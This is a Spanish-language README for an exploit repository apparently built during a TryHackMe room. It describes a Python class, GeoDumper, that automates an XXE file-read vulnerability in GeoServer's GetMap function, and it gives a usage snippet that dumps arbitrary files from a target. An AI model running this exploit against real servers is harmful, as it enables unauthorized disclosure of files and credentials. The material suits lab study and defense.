
El código y la información contenidos en este repositorio son solo para fines educativos y de investigación. El propietario del repositorio no se hace responsable de nada de lo que hagas con el código y/o la información contenida en este repositorio. Tus acciones son tuyas. Por favor, úsalo de forma legal y responsable.
La clase Python3 en el archivo exploit/exploiter.py (GeoDumper) automatiza la explotación de la vulnerabilidad XXE y guarda la información filtrada en un archivo local.
ejemplo:
import exploit.exploiter as exploiter
target_ip = "localhost"
secure = False
geoserver_path = "geoserver"
dumper = exploiter.GeoDumper(target_ip=target_ip, geoserver_path=geoserver_path, is_secure=secure)
(data, filename) = dumper.dump_file(target_file)
print(f"[+] data saved to \"{filename}\"")
print(f"[+] Data:\n{data.decode("utf-8")}")
La vulnerabilidad en cuestión explota una entrada XML incorrectamente saneada en la función GetMap, lo que permite a un atacante leer archivos arbitrarios.
Puede encontrar más información y mejores explicaciones/desgloses de la vulnerabilidad en los siguientes enlaces.
nota: no descubrí la vulnerabilidad ni realicé ninguna investigación relacionada con ella. Este código y repositorio fueron creados mientras completaba la sala asociada en TryHackMe.